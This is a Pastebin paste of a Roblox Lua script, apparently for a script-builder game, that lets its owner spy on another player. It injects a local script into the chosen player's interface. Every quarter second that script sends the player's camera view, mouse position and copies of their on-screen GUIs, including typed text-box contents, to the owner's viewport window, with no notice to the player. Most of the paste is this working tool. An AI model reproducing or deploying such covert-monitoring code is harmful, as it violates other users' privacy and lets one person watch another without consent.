Advertisement
BobMe

donk

Oct 2nd, 2021 (edited)
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.61 KB | None | 0 0
  1. local ScreenGui = Instance.new("ScreenGui",owner.PlayerGui)
  2. local frame = Instance.new("Frame",ScreenGui)
  3. local ve = Instance.new("ViewportFrame",frame)
  4. local PlayerName = Instance.new("TextBox")
  5. local Spy = Instance.new("TextButton")
  6. local remote = owner:FindFirstChild("spyspylol")
  7. local updated = Instance.new("Folder",frame)
  8. local folder = Instance.new("Folder",ve)
  9. local ls = nil
  10. local text = nil
  11. if remote == nil then remote = Instance.new("RemoteEvent",owner) remote.Name = "spyspylol" end
  12.  
  13. ScreenGui.Name = "boopypoopy"
  14.  
  15. PlayerName.Name = "TextBoxButton"
  16. PlayerName.Parent = frame
  17. PlayerName.AnchorPoint = Vector2.new(1, 1)
  18. PlayerName.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  19. PlayerName.BackgroundTransparency = 0.500
  20. PlayerName.BorderSizePixel = 0
  21. PlayerName.Position = UDim2.new(0.800000012, 0, 0.99000001, 0)
  22. PlayerName.Size = UDim2.new(0.75, 0, 0.0500000007, 0)
  23. PlayerName.Font = Enum.Font.SourceSans
  24. PlayerName.PlaceholderText = "Enter player name.."
  25. PlayerName.Text = ""
  26. PlayerName.TextColor3 = Color3.fromRGB(255, 255, 255)
  27. PlayerName.TextScaled = true
  28. PlayerName.TextSize = 14.000
  29. PlayerName.TextWrapped = true
  30. PlayerName.ZIndex = 10
  31. PlayerName.Text = ""
  32.  
  33. Spy.Name = "Spy"
  34. Spy.Parent = frame
  35. Spy.AnchorPoint = Vector2.new(1, 1)
  36. Spy.BackgroundColor3 = Color3.fromRGB(255, 0, 251)
  37. Spy.BackgroundTransparency = 0.500
  38. Spy.BorderSizePixel = 0
  39. Spy.Position = UDim2.new(0.949999988, 0, 0.98999995, 0)
  40. Spy.Size = UDim2.new(0.140000001, 0, 0.0500000007, 0)
  41. Spy.Font = Enum.Font.SourceSans
  42. Spy.Text = "Spy"
  43. Spy.TextColor3 = Color3.fromRGB(255, 255, 255)
  44. Spy.TextScaled = true
  45. Spy.TextSize = 14.000
  46. Spy.TextWrapped = true
  47.  
  48. frame.AnchorPoint = Vector2.new(1,1)
  49. frame.Position = UDim2.new(1,-10,1,-10)
  50. frame.Size = UDim2.new(0.3,0,0.3/1.777,0)
  51. frame.BackgroundTransparency = 1
  52. frame.BorderSizePixel = 0
  53. frame.SizeConstraint = Enum.SizeConstraint.RelativeXX
  54. frame.ClipsDescendants = true
  55.  
  56. ve.Size = UDim2.new(1,0,1,0)
  57. ve.BackgroundColor3 = Color3.fromRGB(139, 230, 255)
  58. ve.BackgroundTransparency = 0
  59.  
  60. local cursor = Instance.new("Frame")
  61. cursor.Name = "NoClickc"
  62. cursor.Parent = frame
  63. cursor.ZIndex = 10
  64. cursor.BackgroundTransparency = 1
  65. cursor.Size = UDim2.new(0,10,0,10,0)
  66. cursor.AnchorPoint = Vector2.new(0.5,0.5)
  67. local cursorin = Instance.new("ImageLabel")
  68. cursorin.Name = "NoClickc"
  69. cursorin.Parent = cursor
  70. cursorin.BackgroundTransparency = 1
  71. cursorin.Size = UDim2.new(0,15,0,23)
  72. cursorin.ZIndex = 10
  73. cursorin.Image = "rbxassetid://"..tostring(3049556601)
  74. cursorin.ImageColor3 = Color3.fromRGB(255,0,255)
  75.  
  76. folder.Name = "POOPYHEAD"
  77.  
  78. local function findPlayer(plrname)
  79. for i,v in pairs(game.Players:GetPlayers()) do
  80. if string.lower(string.sub(v.Name,1,#plrname)) == string.lower(plrname) then
  81. return v
  82. end
  83. end
  84. return nil
  85. end
  86.  
  87. coroutine.resume(coroutine.create(function()
  88. while wait() do
  89. local gg = ve:GetChildren()
  90. for i,v in pairs(workspace:GetDescendants()) do
  91. if v:IsA("BasePart") and ((v.Size.X >= 2 and v.Size.Z >= 2) or (v.Size.X >= 2 and v.Size.Y >= 2) or (v.Size.Z >= 2 and v.Size.Y >= 2)) then
  92. local d = v:FindFirstAncestorOfClass("Model")
  93. if d ~= nil then
  94. if game.Players:FindFirstChild(tostring(d)) == nil then
  95. v:Clone().Parent = updated
  96. end
  97. elseif v.ClassName ~= "Terrain" then
  98. v:Clone().Parent = updated
  99. end
  100. end
  101. if i % 1250 == 0 then
  102. wait()
  103. end
  104. end
  105. for i,v in pairs(updated:GetChildren()) do
  106. v.Parent = ve
  107. if i % 500 == 0 then
  108. wait()
  109. end
  110. end
  111. for i,v in pairs(gg) do
  112. if i % 500 == 0 then
  113. wait()
  114. end
  115. if v:IsA("Folder") then
  116. if v.Name ~= "POOPYHEAD" then
  117. v:Destroy()
  118. end
  119. else
  120. v:Destroy()
  121. end
  122. end
  123. wait(60)
  124. end
  125. end))
  126.  
  127. coroutine.resume(coroutine.create(function()
  128. while true do
  129. local pl = folder:GetChildren()
  130. for i,vv in pairs(game:GetService("Players"):GetPlayers()) do
  131. vv.Character.Archivable = true
  132. local clon = vv.Character:Clone()
  133. clon.Parent = folder
  134. local hum = clon:FindFirstChildOfClass("Humanoid")
  135. if hum ~= nil then
  136. hum.DisplayName = " "
  137. end
  138. end
  139. wait(0.2)
  140. for i,v in pairs(pl) do
  141. v:Destroy()
  142. end
  143. end
  144. end))
  145.  
  146. local i = 200
  147. remote.OnServerEvent:Connect(function(plr,mode,cam,mousepos,screensize,guiss)
  148. local sucess, response = pcall(function()
  149. if plr == owner and typeof(cam) ~= "CFrame" then
  150. text = mode
  151. else
  152. if mode == "chickennugget12343" then
  153. --coroutine.resume(coroutine.create(function()
  154. --wait(.05)
  155. --local guis = game:GetService("HttpService"):JSONDecode(guiss)
  156. local guis = guiss
  157. local came = Instance.new("Camera",ve)
  158. came.CFrame = cam
  159. ve.CurrentCamera = came
  160. cursor.Position = UDim2.new(mousepos[1],0,mousepos[2],0)
  161. frame.Size = UDim2.new(0.3,0,0.3/(screensize[1]/screensize[2]),0)
  162. updated:ClearAllChildren()
  163. for i,v in pairs(guis) do
  164. v.Parent = updated
  165. end
  166. --[[if i % 10 == 0 then
  167. updated:ClearAllChildren()
  168. --print('epic',#guis)
  169. for i,vv in pairs(guis) do
  170. --for ii,vvv in pairs(vv) do
  171. -- if vv.ClassName ~= "Frame" then
  172. -- print(ii,vvv,"")
  173. -- end
  174. --end
  175. local k = Instance.new(vv.ClassName,updated)
  176. k.Active = false
  177. --k.AnchorPoint = vv.AnchorPoint
  178. k.BackgroundColor3 = vv.BackgroundColor3
  179. k.BackgroundTransparency = vv.BackgroundTransparency
  180. k.BorderSizePixel = vv.BorderSizePixel
  181. k.BorderColor3 = vv.BorderColor3
  182. k.BorderMode = vv.BorderMode
  183. k.Size = UDim2.new(vv.AbsoluteSize.X/screensize[1],0,vv.AbsoluteSize.Y/screensize[2],0)
  184. k.Position = UDim2.new(vv.AbsolutePosition.X/screensize[1],0,vv.AbsolutePosition.Y/screensize[2],0)
  185. k.ZIndex = vv.ZIndex
  186. k.Visible = vv.Visible
  187. k.SizeConstraint = vv.SizeConstraint
  188. if vv.ClassName == "TextBox" or vv.ClassName == "TextLabel" or vv.ClassName == "TextButton" then
  189. k.Text = vv.Text
  190. k.TextColor3 = vv.TextColor3
  191. k.RichText = vv.RichText
  192. k.TextStrokeColor3 = vv.TextStrokeColor3
  193. k.LineHeight = vv.LineHeight
  194. k.TextScaled = true
  195. k.TextStrokeTransparency = vv.TextStrokeTransparency
  196. k.TextTransparency = vv.TextTransparency
  197. k.Font = vv.Font
  198. k.TextXAlignment = vv.TextXAlignment
  199. k.TextYAlignment = vv.TextYAlignment
  200. elseif vv.ClassName == "ImageLabel" or vv.ClassName == "ImageButton" then
  201. k.Image = vv.Image
  202. k.ImageColor3 = vv.ImageColor3
  203. k.ImageRectOffset = vv.ImageRectOffset
  204. k.ImageRectSize = vv.ImageRectSize
  205. k.ImageTransparency = vv.ImageTransparency
  206. k.ResampleMode = vv.ResampleMode
  207. k.SliceScale = vv.SliceScale
  208. elseif vv.ClassName == "ScrollingFrame" then
  209. k.CanvasSize = UDim2.new(100,0,100,0)
  210. k.CanvasPosition = vv.CanvasPosition
  211. k.ScrollBarThickness = 0
  212. end
  213. end
  214. end
  215. i = i + 1]]
  216. --end))
  217. else
  218. plr:Kick("we don't do that here.")
  219. end
  220. end
  221. end)
  222. if not sucess then
  223. error(response)
  224. end
  225. end)
  226.  
  227. Spy.MouseButton1Click:Connect(function()
  228. remote:FireClient(owner)
  229. repeat wait() until text ~= nil
  230. local tex = text
  231. text = nil
  232. if tex == "quit" then
  233. ls.Disabled = true
  234. ls:Destroy()
  235. ScreenGui:Destroy()
  236. script:Destroy()
  237. script.Disabled = true
  238. end
  239. local plr = findPlayer(tex)
  240. if plr ~= nil then
  241. if ls ~= nil then
  242. ls.Disabled = true
  243. ls:Destroy()
  244. end
  245. ls = NLS([[while wait(.25) do
  246. local mouse = game.Players.LocalPlayer:GetMouse()
  247. local guis = {}
  248. local folder = Instance.new("Folder",game.ReplicatedStorage)
  249. local screensize = {mouse.ViewSizeX,mouse.ViewSizeY}
  250. for i,v in pairs(owner.PlayerGui:GetChildren()) do
  251. --print(v.Name)
  252. if v.ClassName == "ScreenGui" then
  253. v:Clone().Parent = folder
  254. end
  255. end
  256. for i,v in pairs(folder:GetDescendants()) do
  257. if v:IsA("GuiObject") and v.Visible == false then
  258. v:Destroy()
  259. elseif v:IsA("GuiObject") then
  260. v.Size = UDim2.new(v.AbsoluteSize.X/screensize[1],0,v.AbsoluteSize.Y/screensize[2],0)
  261. v.Position = UDim2.new(v.AbsolutePosition.X/screensize[1],0,v.AbsolutePosition.Y/screensize[2],0)
  262. end
  263. end
  264. --for i,v in pairs(folder:GetChildren()) do
  265. -- if v.ClassName == "ScreenGui" and v.Name ~= "boopypoopy" and v.Name ~= "BubbleChat" and v.Name ~= "Chat" then
  266. -- for ii,vv in pairs(v:GetDescendants()) do
  267. -- if vv:IsA("GuiObject") then
  268. -- local k = {}
  269. -- k.ClassName = vv.ClassName
  270. -- k.BackgroundColor3 = vv.BackgroundColor3
  271. -- k.BackgroundTransparency = vv.BackgroundTransparency
  272. -- k.AnchorPoint = vv.AnchorPoint
  273. -- k.BorderSizePixel = vv.BorderSizePixel
  274. -- k.BorderColor3 = vv.BorderColor3
  275. -- k.BorderMode = vv.BorderMode
  276. -- k.Position = vv.Position
  277. -- k.Size = vv.Size
  278. -- k.ZIndex = vv.ZIndex
  279. -- k.Visible = vv.Visible
  280. -- k.SizeConstraint = vv.SizeConstraint
  281. -- k.AbsolutePosition = vv.AbsolutePosition
  282. -- k.AbsoluteSize = vv.AbsoluteSize
  283. -- if vv.ClassName == "TextBox" or vv.ClassName == "TextLabel" or vv.ClassName == "TextButton" then
  284. -- k.Text = vv.Text
  285. -- k.TextColor3 = vv.TextColor3
  286. -- k.RichText = vv.RichText
  287. -- k.TextStrokeColor3 = vv.TextStrokeColor3
  288. -- k.LineHeight = vv.LineHeight
  289. -- k.TextScaled = true
  290. -- k.TextStrokeTransparency = vv.TextStrokeTransparency
  291. -- k.TextTransparency = vv.TextTransparency
  292. -- k.Font = vv.Font
  293. -- k.TextXAlignment = vv.TextXAlignment
  294. -- k.TextYAlignment = vv.TextYAlignment
  295. -- elseif vv.ClassName == "ImageLabel" or vv.ClassName == "ImageButton" then
  296. -- k.Image = vv.Image
  297. -- k.ImageColor3 = vv.ImageColor3
  298. -- k.ImageRectOffset = vv.ImageRectOffset
  299. -- k.ImageRectSize = vv.ImageRectSize
  300. -- k.ImageTransparency = vv.ImageTransparency
  301. -- k.ResampleMode = vv.ResampleMode
  302. -- k.SliceScale = vv.SliceScale
  303. -- elseif vv.ClassName == "ScrollingFrame" then
  304. -- k.CanvasSize = vv.CanvasSize
  305. -- k.CanvasPosition = vv.CanvasPosition
  306. -- end
  307. -- table.insert(guis,k)
  308. -- end
  309. -- end
  310. -- end
  311. --end
  312. --local guiss = game:GetService("HttpService"):JSONEncode(guis)
  313. --strin = ""
  314. --for i=1,#guiss do
  315. -- strin = strin..string.sub(guiss,i,i)
  316. --end
  317. --print(strin,#guis)
  318. game.Players.]]..tostring(owner)..[[.spyspylol:FireServer("chickennugget12343",workspace.CurrentCamera.CFrame,{mouse.X/mouse.ViewSizeX,mouse.Y/mouse.ViewSizeY},screensize,folder:GetChildren()) folder.Parent = nil
  319. end]],plr.PlayerGui)
  320.  
  321. end
  322. end)
  323.  
  324.  
  325.  
  326. NLS([[
  327. local rem = owner.spyspylol
  328.  
  329. rem.OnClientEvent:Connect(function()
  330. --print("Recieve")
  331. rem:FireServer(owner.PlayerGui.boopypoopy.Frame.TextBoxButton.Text)
  332. end)]],ScreenGui)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement